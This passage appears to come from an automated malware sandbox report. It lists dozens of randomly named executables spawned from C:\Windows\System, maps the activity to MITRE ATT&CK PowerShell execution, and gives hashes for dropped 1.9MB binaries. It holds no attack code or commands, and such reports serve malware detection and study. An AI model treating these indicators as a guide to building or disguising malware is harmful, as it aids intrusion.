- C:\Windows\System\bdQtHeU.exe
  C:\Windows\System\bdQtHeU.exe
  2⤵
  PID:8240
- C:\Windows\System\fhmDnFI.exe
  C:\Windows\System\fhmDnFI.exe
  2⤵
  PID:8256
- C:\Windows\System\SQelqUd.exe
  C:\Windows\System\SQelqUd.exe
  2⤵
  PID:8272
- C:\Windows\System\qpqPYFZ.exe
  C:\Windows\System\qpqPYFZ.exe
  2⤵
  PID:8288
- C:\Windows\System\qXQTOtV.exe
  C:\Windows\System\qXQTOtV.exe
  2⤵
  PID:8304
- C:\Windows\System\kHYYQsl.exe
  C:\Windows\System\kHYYQsl.exe
  2⤵
  PID:8320
- C:\Windows\System\eQtDakk.exe
  C:\Windows\System\eQtDakk.exe
  2⤵
  PID:8336
- C:\Windows\System\nYgGzTh.exe
  C:\Windows\System\nYgGzTh.exe
  2⤵
  PID:8352
- C:\Windows\System\XFWQuNe.exe
  C:\Windows\System\XFWQuNe.exe
  2⤵
  PID:8368
- C:\Windows\System\SIuiqqL.exe
  C:\Windows\System\SIuiqqL.exe
  2⤵
  PID:8384
- C:\Windows\System\sMxaEOs.exe
  C:\Windows\System\sMxaEOs.exe
  2⤵
  PID:8400
- C:\Windows\System\aJQbyrv.exe
  C:\Windows\System\aJQbyrv.exe
  2⤵
  PID:8416
- C:\Windows\System\yCIqdMu.exe
  C:\Windows\System\yCIqdMu.exe
  2⤵
  PID:8432
- C:\Windows\System\FQTFHkj.exe
  C:\Windows\System\FQTFHkj.exe
  2⤵
  PID:8448
- C:\Windows\System\CedrWim.exe
  C:\Windows\System\CedrWim.exe
  2⤵
  PID:8464
- C:\Windows\System\LmnCwPb.exe
  C:\Windows\System\LmnCwPb.exe
  2⤵
  PID:8480
- C:\Windows\System\mPOloHe.exe
  C:\Windows\System\mPOloHe.exe
  2⤵
  PID:8496
- C:\Windows\System\kJdewrM.exe
  C:\Windows\System\kJdewrM.exe
  2⤵
  PID:8512
- C:\Windows\System\wGTJYBA.exe
  C:\Windows\System\wGTJYBA.exe
  2⤵
  PID:8528
- C:\Windows\System\jwWIKwf.exe
  C:\Windows\System\jwWIKwf.exe
  2⤵
  PID:8544
- C:\Windows\System\qSQppFo.exe
  C:\Windows\System\qSQppFo.exe
  2⤵
  PID:8572
- C:\Windows\System\tMRhdSF.exe
  C:\Windows\System\tMRhdSF.exe
  2⤵
  PID:8588
- C:\Windows\System\CHmWePW.exe
  C:\Windows\System\CHmWePW.exe
  2⤵
  PID:8604
- C:\Windows\System\FicTcHM.exe
  C:\Windows\System\FicTcHM.exe
  2⤵
  PID:8620
- C:\Windows\System\UMzMxDE.exe
  C:\Windows\System\UMzMxDE.exe
  2⤵
  PID:8636
- C:\Windows\System\tsYvwhA.exe
  C:\Windows\System\tsYvwhA.exe
  2⤵
  PID:8652
- C:\Windows\System\aVoQZYW.exe
  C:\Windows\System\aVoQZYW.exe
  2⤵
  PID:8668
- C:\Windows\System\xOoacye.exe
  C:\Windows\System\xOoacye.exe
  2⤵
  PID:8684
- C:\Windows\System\sWPKFck.exe
  C:\Windows\System\sWPKFck.exe
  2⤵
  PID:8700
- C:\Windows\System\GZKAkPi.exe
  C:\Windows\System\GZKAkPi.exe
  2⤵
  PID:8716
- C:\Windows\System\sDqtcfV.exe
  C:\Windows\System\sDqtcfV.exe
  2⤵
  PID:8732
- C:\Windows\System\IzhEHIG.exe
  C:\Windows\System\IzhEHIG.exe
  2⤵
  PID:8748
- C:\Windows\System\LttQpDo.exe
  C:\Windows\System\LttQpDo.exe
  2⤵
  PID:8764
- C:\Windows\System\hOYXHWF.exe
  C:\Windows\System\hOYXHWF.exe
  2⤵
  PID:8780
- C:\Windows\System\upgPaWx.exe
  C:\Windows\System\upgPaWx.exe
  2⤵
  PID:8800
- C:\Windows\System\ivPYIFU.exe
  C:\Windows\System\ivPYIFU.exe
  2⤵
  PID:8820
- C:\Windows\System\YDfJDas.exe
  C:\Windows\System\YDfJDas.exe
  2⤵
  PID:8836
- C:\Windows\System\aRcLYKW.exe
  C:\Windows\System\aRcLYKW.exe
  2⤵
  PID:8852
- C:\Windows\System\CoQllRU.exe
  C:\Windows\System\CoQllRU.exe
  2⤵
  PID:8868
- C:\Windows\System\OnjicwC.exe
  C:\Windows\System\OnjicwC.exe
  2⤵
  PID:8884
- C:\Windows\System\genPOys.exe
  C:\Windows\System\genPOys.exe
  2⤵
  PID:8900
- C:\Windows\System\BsICClN.exe
  C:\Windows\System\BsICClN.exe
  2⤵
  PID:8916
- C:\Windows\System\mqPoYes.exe
  C:\Windows\System\mqPoYes.exe
  2⤵
  PID:8932
- C:\Windows\System\xdXwohR.exe
  C:\Windows\System\xdXwohR.exe
  2⤵
  PID:8948
- C:\Windows\System\NCAfEot.exe
  C:\Windows\System\NCAfEot.exe
  2⤵
  PID:8964
- C:\Windows\System\zHvFAvF.exe
  C:\Windows\System\zHvFAvF.exe
  2⤵
  PID:8980
- C:\Windows\System\MaxYsYc.exe
  C:\Windows\System\MaxYsYc.exe
  2⤵
  PID:8996
- C:\Windows\System\HGeZMqq.exe
  C:\Windows\System\HGeZMqq.exe
  2⤵
  PID:9012
- C:\Windows\System\CEbiWMt.exe
  C:\Windows\System\CEbiWMt.exe
  2⤵
  PID:9028
- C:\Windows\System\KdwRxsl.exe
  C:\Windows\System\KdwRxsl.exe
  2⤵
  PID:9044
- C:\Windows\System\PdmZgcg.exe
  C:\Windows\System\PdmZgcg.exe
  2⤵
  PID:9060
- C:\Windows\System\KCdBoXa.exe
  C:\Windows\System\KCdBoXa.exe
  2⤵
  PID:9076
- C:\Windows\System\ahCJIpp.exe
  C:\Windows\System\ahCJIpp.exe
  2⤵
  PID:9092
- C:\Windows\System\iClCJTU.exe
  C:\Windows\System\iClCJTU.exe
  2⤵
  PID:9108
- C:\Windows\System\uVxQaCt.exe
  C:\Windows\System\uVxQaCt.exe
  2⤵
  PID:9124
- C:\Windows\System\GbEDHNP.exe
  C:\Windows\System\GbEDHNP.exe
  2⤵
  PID:9140
- C:\Windows\System\CsgTKqY.exe
  C:\Windows\System\CsgTKqY.exe
  2⤵
  PID:9156
- C:\Windows\System\dSpUodO.exe
  C:\Windows\System\dSpUodO.exe
  2⤵
  PID:9172
- C:\Windows\System\HLONkkg.exe
  C:\Windows\System\HLONkkg.exe
  2⤵
  PID:9188
- C:\Windows\System\CbBQRwx.exe
  C:\Windows\System\CbBQRwx.exe
  2⤵
  PID:9204
- C:\Windows\System\mGtCwmT.exe
  C:\Windows\System\mGtCwmT.exe
  2⤵
  PID:7596
- C:\Windows\System\GdguLxI.exe
  C:\Windows\System\GdguLxI.exe
  2⤵
  PID:8220
- C:\Windows\System\PZrqwPo.exe
  C:\Windows\System\PZrqwPo.exe
  2⤵
  PID:8248
- C:\Windows\System\EYRibzB.exe
  C:\Windows\System\EYRibzB.exe
  2⤵
  PID:8252
- C:\Windows\System\QwCTxLG.exe
  C:\Windows\System\QwCTxLG.exe
  2⤵
  PID:8268
- C:\Windows\System\gydRkzj.exe
  C:\Windows\System\gydRkzj.exe
  2⤵
  PID:8344
- C:\Windows\System\kavPFCu.exe
  C:\Windows\System\kavPFCu.exe
  2⤵
  PID:8380
- C:\Windows\System\HYHIdSX.exe
  C:\Windows\System\HYHIdSX.exe
  2⤵
  PID:8412
- C:\Windows\System\wNOTIFf.exe
  C:\Windows\System\wNOTIFf.exe
  2⤵
  PID:8440
- C:\Windows\System\YFQRlsQ.exe
  C:\Windows\System\YFQRlsQ.exe
  2⤵
  PID:8472
- C:\Windows\System\psZxEKs.exe
  C:\Windows\System\psZxEKs.exe
  2⤵
  PID:8536
- C:\Windows\System\EMhhRWW.exe
  C:\Windows\System\EMhhRWW.exe
  2⤵
  PID:8524
- C:\Windows\System\zhpnoPz.exe
  C:\Windows\System\zhpnoPz.exe
  2⤵
  PID:8460
- C:\Windows\System\qJwqkLo.exe
  C:\Windows\System\qJwqkLo.exe
  2⤵
  PID:8556
- C:\Windows\System\hfgPuQL.exe
  C:\Windows\System\hfgPuQL.exe
  2⤵
  PID:8644
- C:\Windows\System\veuiXOb.exe
  C:\Windows\System\veuiXOb.exe
  2⤵
  PID:8596
- C:\Windows\System\VfmRBui.exe
  C:\Windows\System\VfmRBui.exe
  2⤵
  PID:8628
- C:\Windows\System\PtANzbR.exe
  C:\Windows\System\PtANzbR.exe
  2⤵
  PID:8740
- C:\Windows\System\xqCMlMu.exe
  C:\Windows\System\xqCMlMu.exe
  2⤵
  PID:8660
- C:\Windows\System\teemXND.exe
  C:\Windows\System\teemXND.exe
  2⤵
  PID:8812
- C:\Windows\System\oIBUkmy.exe
  C:\Windows\System\oIBUkmy.exe
  2⤵
  PID:8788
- C:\Windows\System\riGIJsO.exe
  C:\Windows\System\riGIJsO.exe
  2⤵
  PID:8876
- C:\Windows\System\ySvpvsS.exe
  C:\Windows\System\ySvpvsS.exe
  2⤵
  PID:8940
- C:\Windows\System\MXCsTQY.exe
  C:\Windows\System\MXCsTQY.exe
  2⤵
  PID:8860
- C:\Windows\System\NZaLRMn.exe
  C:\Windows\System\NZaLRMn.exe
  2⤵
  PID:8924
- C:\Windows\System\mITXZqe.exe
  C:\Windows\System\mITXZqe.exe
  2⤵
  PID:8976
- C:\Windows\System\cWkZEOy.exe
  C:\Windows\System\cWkZEOy.exe
  2⤵
  PID:9008
- C:\Windows\System\szYBglr.exe
  C:\Windows\System\szYBglr.exe
  2⤵
  PID:9068
- C:\Windows\System\XrsMTPk.exe
  C:\Windows\System\XrsMTPk.exe
  2⤵
  PID:9052
- C:\Windows\System\RqNPljo.exe
  C:\Windows\System\RqNPljo.exe
  2⤵
  PID:9132
- C:\Windows\System\XqmpTTQ.exe
  C:\Windows\System\XqmpTTQ.exe
  2⤵
  PID:9120
- C:\Windows\System\dKrvIHl.exe
  C:\Windows\System\dKrvIHl.exe
  2⤵
  PID:9164
- C:\Windows\System\wsGpnpS.exe
  C:\Windows\System\wsGpnpS.exe
  2⤵
  PID:8216
- C:\Windows\System\zOxSDDm.exe
  C:\Windows\System\zOxSDDm.exe
  2⤵
  PID:8316
- C:\Windows\System\wiYbdqT.exe
  C:\Windows\System\wiYbdqT.exe
  2⤵
  PID:9180
- C:\Windows\System\EPopYQj.exe
  C:\Windows\System\EPopYQj.exe
  2⤵
  PID:8444
- C:\Windows\System\KzLCuss.exe
  C:\Windows\System\KzLCuss.exe
  2⤵
  PID:8552
- C:\Windows\System\xeodgBz.exe
  C:\Windows\System\xeodgBz.exe
  2⤵
  PID:8676
- C:\Windows\System\TLGmdgZ.exe
  C:\Windows\System\TLGmdgZ.exe
  2⤵
  PID:8264
- C:\Windows\System\yJQETum.exe
  C:\Windows\System\yJQETum.exe
  2⤵
  PID:8724
- C:\Windows\System\nvQrvly.exe
  C:\Windows\System\nvQrvly.exe
  2⤵
  PID:8728
- C:\Windows\System\bCFPMZO.exe
  C:\Windows\System\bCFPMZO.exe
  2⤵
  PID:8488
- C:\Windows\System\oIangJg.exe
  C:\Windows\System\oIangJg.exe
  2⤵
  PID:8504
- C:\Windows\System\ieOchop.exe
  C:\Windows\System\ieOchop.exe
  2⤵
  PID:8828
- C:\Windows\System\QSUfpRB.exe
  C:\Windows\System\QSUfpRB.exe
  2⤵
  PID:8960
- C:\Windows\System\uvCweJa.exe
  C:\Windows\System\uvCweJa.exe
  2⤵
  PID:8892
- C:\Windows\System\tbWwkXT.exe
  C:\Windows\System\tbWwkXT.exe
  2⤵
  PID:9036
- C:\Windows\System\RnTglyF.exe
  C:\Windows\System\RnTglyF.exe
  2⤵
  PID:9136
- C:\Windows\System\ycLGjmY.exe
  C:\Windows\System\ycLGjmY.exe
  2⤵
  PID:9088
- C:\Windows\System\xNuqZAK.exe
  C:\Windows\System\xNuqZAK.exe
  2⤵
  PID:9116
- C:\Windows\System\lVulpCG.exe
  C:\Windows\System\lVulpCG.exe
  2⤵
  PID:8692
- C:\Windows\System\qPYCJPe.exe
  C:\Windows\System\qPYCJPe.exe
  2⤵
  PID:9200
- C:\Windows\System\ukqgKtG.exe
  C:\Windows\System\ukqgKtG.exe
  2⤵
  PID:8428
- C:\Windows\System\oGKnBSd.exe
  C:\Windows\System\oGKnBSd.exe
  2⤵
  PID:8204
- C:\Windows\System\JmHlfgc.exe
  C:\Windows\System\JmHlfgc.exe
  2⤵
  PID:8616
- C:\Windows\System\BkRlEjg.exe
  C:\Windows\System\BkRlEjg.exe
  2⤵
  PID:9104
- C:\Windows\System\KKcViOs.exe
  C:\Windows\System\KKcViOs.exe
  2⤵
  PID:8956
- C:\Windows\System\FlnbMXm.exe
  C:\Windows\System\FlnbMXm.exe
  2⤵
  PID:8988
- C:\Windows\System\TdJsQnI.exe
  C:\Windows\System\TdJsQnI.exe
  2⤵
  PID:8580
- C:\Windows\System\UjEBbrw.exe
  C:\Windows\System\UjEBbrw.exe
  2⤵
  PID:8944
- C:\Windows\System\dzcIdzA.exe
  C:\Windows\System\dzcIdzA.exe
  2⤵
  PID:8408
- C:\Windows\System\OaNCceL.exe
  C:\Windows\System\OaNCceL.exe
  2⤵
  PID:8296
- C:\Windows\System\xqIJkhK.exe
  C:\Windows\System\xqIJkhK.exe
  2⤵
  PID:8776
- C:\Windows\System\yYzqJeg.exe
  C:\Windows\System\yYzqJeg.exe
  2⤵
  PID:9228
- C:\Windows\System\CIGEOoo.exe
  C:\Windows\System\CIGEOoo.exe
  2⤵
  PID:9244
- C:\Windows\System\PTKdozU.exe
  C:\Windows\System\PTKdozU.exe
  2⤵
  PID:9264
- C:\Windows\System\yDKTTVj.exe
  C:\Windows\System\yDKTTVj.exe
  2⤵
  PID:9280
- C:\Windows\System\lksOyCq.exe
  C:\Windows\System\lksOyCq.exe
  2⤵
  PID:9296
- C:\Windows\System\oTNItou.exe
  C:\Windows\System\oTNItou.exe
  2⤵
  PID:9312
- C:\Windows\System\LyzkOav.exe
  C:\Windows\System\LyzkOav.exe
  2⤵
  PID:9328
- C:\Windows\System\MHumSVw.exe
  C:\Windows\System\MHumSVw.exe
  2⤵
  PID:9344
- C:\Windows\System\pMsYDiL.exe
  C:\Windows\System\pMsYDiL.exe
  2⤵
  PID:9360
- C:\Windows\System\bcqHXOV.exe
  C:\Windows\System\bcqHXOV.exe
  2⤵
  PID:9376
- C:\Windows\System\fsCFImB.exe
  C:\Windows\System\fsCFImB.exe
  2⤵
  PID:9400
- C:\Windows\System\oxBYkzg.exe
  C:\Windows\System\oxBYkzg.exe
  2⤵
  PID:9416
- C:\Windows\System\THqMmaL.exe
  C:\Windows\System\THqMmaL.exe
  2⤵
  PID:9432
- C:\Windows\System\bqRIwMQ.exe
  C:\Windows\System\bqRIwMQ.exe
  2⤵
  PID:9448
- C:\Windows\System\BBpWueq.exe
  C:\Windows\System\BBpWueq.exe
  2⤵
  PID:9464
- C:\Windows\System\YGfdTwX.exe
  C:\Windows\System\YGfdTwX.exe
  2⤵
  PID:9480
- C:\Windows\System\sdMoIkn.exe
  C:\Windows\System\sdMoIkn.exe
  2⤵
  PID:9496
- C:\Windows\System\BEORYpn.exe
  C:\Windows\System\BEORYpn.exe
  2⤵
  PID:9512
- C:\Windows\System\xUhkhpZ.exe
  C:\Windows\System\xUhkhpZ.exe
  2⤵
  PID:9528
- C:\Windows\System\jMMkkxR.exe
  C:\Windows\System\jMMkkxR.exe
  2⤵
  PID:9544
- C:\Windows\System\SVDBGgr.exe
  C:\Windows\System\SVDBGgr.exe
  2⤵
  PID:9560
- C:\Windows\System\fPhmfns.exe
  C:\Windows\System\fPhmfns.exe
  2⤵
  PID:9576
- C:\Windows\System\ALZiVDw.exe
  C:\Windows\System\ALZiVDw.exe
  2⤵
  PID:9592
- C:\Windows\System\vuWlyIY.exe
  C:\Windows\System\vuWlyIY.exe
  2⤵
  PID:9608
- C:\Windows\System\NELGWkM.exe
  C:\Windows\System\NELGWkM.exe
  2⤵
  PID:9628
- C:\Windows\System\mbzlaET.exe
  C:\Windows\System\mbzlaET.exe
  2⤵
  PID:9644
- C:\Windows\System\jlBzmit.exe
  C:\Windows\System\jlBzmit.exe
  2⤵
  PID:9660
- C:\Windows\System\BCHPPxM.exe
  C:\Windows\System\BCHPPxM.exe
  2⤵
  PID:9676
- C:\Windows\System\JXyPgwS.exe
  C:\Windows\System\JXyPgwS.exe
  2⤵
  PID:9692
- C:\Windows\System\GXKbepz.exe
  C:\Windows\System\GXKbepz.exe
  2⤵
  PID:9708
- C:\Windows\System\noxfPyF.exe
  C:\Windows\System\noxfPyF.exe
  2⤵
  PID:9724
- C:\Windows\System\BfjfIDW.exe
  C:\Windows\System\BfjfIDW.exe
  2⤵
  PID:9740
- C:\Windows\System\AYDxBjr.exe
  C:\Windows\System\AYDxBjr.exe
  2⤵
  PID:9756
- C:\Windows\System\fucgVkR.exe
  C:\Windows\System\fucgVkR.exe
  2⤵
  PID:9772
- C:\Windows\System\bUVGRvJ.exe
  C:\Windows\System\bUVGRvJ.exe
  2⤵
  PID:9788
- C:\Windows\System\wtnfXcf.exe
  C:\Windows\System\wtnfXcf.exe
  2⤵
  PID:9804
- C:\Windows\System\eZqflpt.exe
  C:\Windows\System\eZqflpt.exe
  2⤵
  PID:9820
- C:\Windows\System\shWqloS.exe
  C:\Windows\System\shWqloS.exe
  2⤵
  PID:9836
- C:\Windows\System\eKvQJpt.exe
  C:\Windows\System\eKvQJpt.exe
  2⤵
  PID:9852
- C:\Windows\System\ifOhKAh.exe
  C:\Windows\System\ifOhKAh.exe
  2⤵
  PID:9868
- C:\Windows\System\AQhvles.exe
  C:\Windows\System\AQhvles.exe
  2⤵
  PID:9884
- C:\Windows\System\zXTNbVt.exe
  C:\Windows\System\zXTNbVt.exe
  2⤵
  PID:9900
- C:\Windows\System\MTDWiDt.exe
  C:\Windows\System\MTDWiDt.exe
  2⤵
  PID:9916
- C:\Windows\System\PhYUlwD.exe
  C:\Windows\System\PhYUlwD.exe
  2⤵
  PID:9932
- C:\Windows\System\nNMnKkF.exe
  C:\Windows\System\nNMnKkF.exe
  2⤵
  PID:9948
- C:\Windows\System\woTBqrA.exe
  C:\Windows\System\woTBqrA.exe
  2⤵
  PID:9964
- C:\Windows\System\OMaGFOk.exe
  C:\Windows\System\OMaGFOk.exe
  2⤵
  PID:9980
- C:\Windows\System\VYrnjuz.exe
  C:\Windows\System\VYrnjuz.exe
  2⤵
  PID:9996
- C:\Windows\System\KiHWcxQ.exe
  C:\Windows\System\KiHWcxQ.exe
  2⤵
  PID:10012
- C:\Windows\System\VYNCaSn.exe
  C:\Windows\System\VYNCaSn.exe
  2⤵
  PID:10028
- C:\Windows\System\yRumkjd.exe
  C:\Windows\System\yRumkjd.exe
  2⤵
  PID:10044
- C:\Windows\System\thkAXuO.exe
  C:\Windows\System\thkAXuO.exe
  2⤵
  PID:10064
- C:\Windows\System\DrgoiIT.exe
  C:\Windows\System\DrgoiIT.exe
  2⤵
  PID:10080
- C:\Windows\System\CdGVfql.exe
  C:\Windows\System\CdGVfql.exe
  2⤵
  PID:10096
- C:\Windows\System\UGbwdBF.exe
  C:\Windows\System\UGbwdBF.exe
  2⤵
  PID:10112
- C:\Windows\System\kBMdBwg.exe
  C:\Windows\System\kBMdBwg.exe
  2⤵
  PID:10128
- C:\Windows\System\gbieaqx.exe
  C:\Windows\System\gbieaqx.exe
  2⤵
  PID:10144
- C:\Windows\System\kxAVAUg.exe
  C:\Windows\System\kxAVAUg.exe
  2⤵
  PID:10160
- C:\Windows\System\QACaEeK.exe
  C:\Windows\System\QACaEeK.exe
  2⤵
  PID:10176
- C:\Windows\System\JRKqMUV.exe
  C:\Windows\System\JRKqMUV.exe
  2⤵
  PID:10192
- C:\Windows\System\cnIjrTm.exe
  C:\Windows\System\cnIjrTm.exe
  2⤵
  PID:10208
- C:\Windows\System\sEAUtLm.exe
  C:\Windows\System\sEAUtLm.exe
  2⤵
  PID:10224
- C:\Windows\System\EFAcnDM.exe
  C:\Windows\System\EFAcnDM.exe
  2⤵
  PID:9212
- C:\Windows\System\EYEFnsV.exe
  C:\Windows\System\EYEFnsV.exe
  2⤵
  PID:9220
- C:\Windows\System\xOlZXYZ.exe
  C:\Windows\System\xOlZXYZ.exe
  2⤵
  PID:9260
- C:\Windows\System\fJNbkHB.exe
  C:\Windows\System\fJNbkHB.exe
  2⤵
  PID:9320
- C:\Windows\System\PlIWWhe.exe
  C:\Windows\System\PlIWWhe.exe
  2⤵
  PID:9392
- C:\Windows\System\EphCoPp.exe
  C:\Windows\System\EphCoPp.exe
  2⤵
  PID:8492
- C:\Windows\System\XVdlMaE.exe
  C:\Windows\System\XVdlMaE.exe
  2⤵
  PID:9336
- C:\Windows\System\UFwbzIq.exe
  C:\Windows\System\UFwbzIq.exe
  2⤵
  PID:9272
- C:\Windows\System\blvrbGP.exe
  C:\Windows\System\blvrbGP.exe
  2⤵
  PID:9424
- C:\Windows\System\hPslQFT.exe
  C:\Windows\System\hPslQFT.exe
  2⤵
  PID:9460
- C:\Windows\System\hdmCDSW.exe
  C:\Windows\System\hdmCDSW.exe
  2⤵
  PID:9488
- C:\Windows\System\UddLVBw.exe
  C:\Windows\System\UddLVBw.exe
  2⤵
  PID:9472
- C:\Windows\System\hPYuJEx.exe
  C:\Windows\System\hPYuJEx.exe
  2⤵
  PID:9508
- C:\Windows\System\iXSCaXm.exe
  C:\Windows\System\iXSCaXm.exe
  2⤵
  PID:9584
- C:\Windows\System\LBpTjXR.exe
  C:\Windows\System\LBpTjXR.exe
  2⤵
  PID:9568
- C:\Windows\System\nMNrKkS.exe
  C:\Windows\System\nMNrKkS.exe
  2⤵
  PID:9636
- C:\Windows\System\dUlyTik.exe
  C:\Windows\System\dUlyTik.exe
  2⤵
  PID:9716
- C:\Windows\System\NIbDVBL.exe
  C:\Windows\System\NIbDVBL.exe
  2⤵
  PID:9752
- C:\Windows\System\EYebkdo.exe
  C:\Windows\System\EYebkdo.exe
  2⤵
  PID:9812
- C:\Windows\System\mEptXZQ.exe
  C:\Windows\System\mEptXZQ.exe
  2⤵
  PID:9796
- C:\Windows\System\SEsEkKA.exe
  C:\Windows\System\SEsEkKA.exe
  2⤵
  PID:9764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AvnjzLV.exe

Filesize
1.9MB

MD5
a6190c519dc59640cb08e22aee48de08

SHA1
aff395d346cec1a62e3d46dc4559b590544b83b6

SHA256
acb23e8ea933a746bf332a414b991298005bf9b562963e2d354476c9a9337f25

SHA512
fe2046298c19006fe348852b982a607cfa6bff8ad36acc95c93776cdbc375e79e11ad0df728126f60f1b7b256968fa4da413cb84ff4526caa172817f387dc1bf

Download Submit
C:\Windows\system\BcHvdhj.exe

Filesize
1.9MB

MD5
135afae0de47eb3b8f2d054360bede3c

SHA1
07cd9ad2981becc95d913ffdcc0653d7fe780d17

SHA256
5072116a2915227b07ea39a7f53fb36fdcabcb8319a9389f110e0888e8a2a7c7

SHA512
3a606d4ca7742d057c78479a86f8d76cfe698d96ed65132715183bb025ccfdb44c2f0ae6fa0495708c08fe212fe58ab3569b467e3bfca40b6926f28d9fdb99eb

Download Submit
C:\Windows\system\DADySgq.exe

Filesize
1.9MB

MD5
bfdc0492d115218701b71d9db9e9ecf4

SHA1
8058d620cf90e80f05060269f472bd57e0675fdd

SHA256
f4ee46808e8c8cb2e7501e33bda3e091326dd7cd5329fa64acb50ab79e2b5673

SHA512
184cc978ac94dbf3836358ba30ead21585737f66ae987ba1a6b3cf9a05da2abe2d78be678cfae8c82db9fc40b854698e5f08c5c6c69eb4568592098bdf456646

Download Submit
C:\Windows\system\EPuDefn.exe

Filesize
1.9MB

MD5
bfd6244592b06e57f3b72b3b4c07e98e

SHA1
40f4197f5158129eb5c289306fcea451388d54bb

SHA256
5ecd7739de62b958ff855fdfebb2ac4095f889eb928cd9cd70b0ce6f5ef73c91

SHA512
9122ae1d7bb125695ab88ab7bc6e95e7205582cd18f6bfd805e21c5a597bc8b909790631923eed37319fb244bbe9b97bd5410630d744db21ba74077611e03130

Download Submit
C:\Windows\system\EjzweON.exe

Filesize
1.9MB

MD5
b1420091466a2682f8246038e58edefc

SHA1
6a4c636d9e18b5a0b10ccf8b7136f0a31dc6d385

SHA256
237beebaa44b408fa65e6d61065b336298e094f45f4dccbe202778409cae564a

SHA512
eb504bec5d429b67ed7adcb55f3f10c7581b1bc8741723e1c3ae5d0fe5db213ffcd4f525fbb96b3b9802eed206eaae66286da6cb0566a10b6b7250b16fb3f18f

Download Submit
C:\Windows\system\JMQZpvC.exe

Filesize
1.9MB

MD5
20ca19378ec28472a69dc3fdea38bb09

SHA1
3da844b168cdf0091693a6c751ab20e76eb6cf5a

SHA256
8cd8017fe4247195f0424fdd82b73cd9609ffe779cc1aac23eff602c080baabc

SHA512
119b0f9102e849a4fc87e137ef47815f306dfe8b3b7a654d7c67ea17f834ee78f2621e7b9c9f16d3e6c2b9f5627ac8b921107a9edbcd0520d52463045cef6a2d

Download Submit
C:\Windows\system\JObpemp.exe

Filesize
1.9MB

MD5
a51dae4547fea6b1363ee87768eb12d3

SHA1
e2c5ba4d58a103da2719373ae48d5cd77b29f270

SHA256
e2a6190e8e808b95b179186a89b89c7c4211117b712c531e8763a8738598f0c3

SHA512
ab111eea76aeabea19bb19ede7eb3daad118628d6abd6202bb0f10dfc5c7d9b93e7fd0e2de252a920ad8e2ac920d8d0ffaf3f5172ecf3a375d094631eaef4553

Download Submit
C:\Windows\system\JWoCeWq.exe

Filesize
1.9MB

MD5
b0b209ade296c0b107a4efd89b446ced

SHA1
88f5cc3d863c9d799f22df7233c19f4426851323

SHA256
b44032789a9d320565f80321ac3b32c1da4a8c938ae58fbb604a1b104b8a7398

SHA512
89e4e7a5bde2dff6d2f97bcfd4c711d854dbfd49aab5a3897cdcdb38ccf1ccea60a7ecf22f2c48fe2cd34322f1b3303aa83ed8fb80c602e1c39b0aa14a6227c3

Download Submit
C:\Windows\system\MAJvRBH.exe

Filesize
1.9MB

MD5
d58648643106c01b96aaf3272322217a

SHA1
28cd8208c84717320042b8fa49171fbd23ca599c

SHA256
65479b72cf24fce62c8cca8ddd8b8c3893662f9e82f12b0d625517f0b2012a45

SHA512
2a982a3ea43e6f3535e789eb8ba272d5b513a59a877a5219c8afe6d8136c27d6838b7bb36636063e45976e949fbbcc47da402c38e95d89fae3cc44ea287436be

Download Submit
C:\Windows\system\OACAzHS.exe

Filesize
1.9MB

MD5
03a751f2fff926258849820b1cc93cb7

SHA1
7ce74fd9c7073b3913692840c3e86f82fdf40ecb

SHA256
e4fb297a8bdecead248179a3aea5094377eade807d5f0d59e2f1dbf193685f7c

SHA512
8a1e35b7998a8b6caae61b61f0d111544f6ce64499187611d0d0a4f1f6af2c6b5430778e39091f15b5db026b31d7142f378e7f9460ecbb1d9266a1b61d7606bd

Download Submit
C:\Windows\system\PHnFqCm.exe

Filesize
1.9MB

MD5
520c56f5cf67b1344c0badb453834cdd

SHA1
193a5b9a388957b947f085a641e3aa9da7459191

SHA256
5bab0851d564ad0666f4bc96c2626f611ba9c3ba944cde783bc23748365a0841

SHA512
32b5bee4ae1d6441636db2aec5177a50df452abc7bdfc90897a5c5d93b080c3eab3e7e2a8e800d685534c994da2821287da6e0663293f5fe6933a8560f119c66

Download Submit
C:\Windows\system\QhWgopD.exe

Filesize
1.9MB

MD5
8e21c30f454e62c636d589e47e68c2da

SHA1
0577f3b8da3bff8f60e5a60bcb8ebb8986aa130d

SHA256
b42db8f3f5dcd1195f645d73b82a3b64c6a8c67f8522041471e0f1b5c5e55a38

SHA512
60e25386fdbd56d0f4c5d1803d30587545e03a14388918086a5646bf37f3fccc16f279e002baf224c6a8e2bcf2d3e95e14a282c743d7a68e34ffc57a612a7722

Download Submit
C:\Windows\system\RJyKlHo.exe

Filesize
1.9MB

MD5
301a1a37a543d1f68637559346b0e041

SHA1
53f72514dc3e0a02be3a3e83fa0ae8ec98fe3c1b

SHA256
c70d3e96ff0eda2b059606f916a9a469b49f79a18cf64a3e1e0cf2490a97ddcd

SHA512
15f00f96f8d3f428535fb3334ec809ff42ab420c7805bb2f7e8eb5dc587cc2320f68070b888a480a7c74f88dee527cbbf7fc1e654a79084515c1d862c20e8aff

Download Submit
C:\Windows\system\SfLVlyo.exe

Filesize
1.9MB

MD5
bbfef26cba02767734aa7bb87ca97301

SHA1
4932ec00c01115654ace1a46347042c3b0036b70

SHA256
085503126d870e2ea1a88e2c2abc17eb6cafce06a851d1d871ab6b370dcdac71

SHA512
a333f6d876313b0ff688cfa66002c52f880c180b1c31d0e86e4699e403318828566592cb3cd379237936b75a69bfb8c7400053e60a90398ef718319f272640f7

Download Submit
C:\Windows\system\SsjGBYS.exe

Filesize
1.9MB

MD5
3cc21c76e4bd5b9f3324d2cfb307c4d2

SHA1
6f4b262cf60372ebe6de369c7b220dccfc03d5d2

SHA256
60b5c97e774843e630e07e004074b73b3d15f46092cb746ea282630dfcce8823

SHA512
a8090fec08d02fa85a883c682b8473cb3b0bd8fe855d28890c1d0d10ee5664a915e924b7a85c9523d223f1e4e3e5c532d99a19afb80e1ee5f60953bca9d548e3

Download Submit
C:\Windows\system\XQIICNM.exe

Filesize
1.9MB

MD5
9c36e9b5794f61e383a5d5cbd291d363

SHA1
31170bddb87e3633a0b27fe4fdd24a23f438556a

SHA256
de83e2304147d06fdeeb85eeadee9c0fc5497043195fbb2f8f87b380b111b23c

SHA512
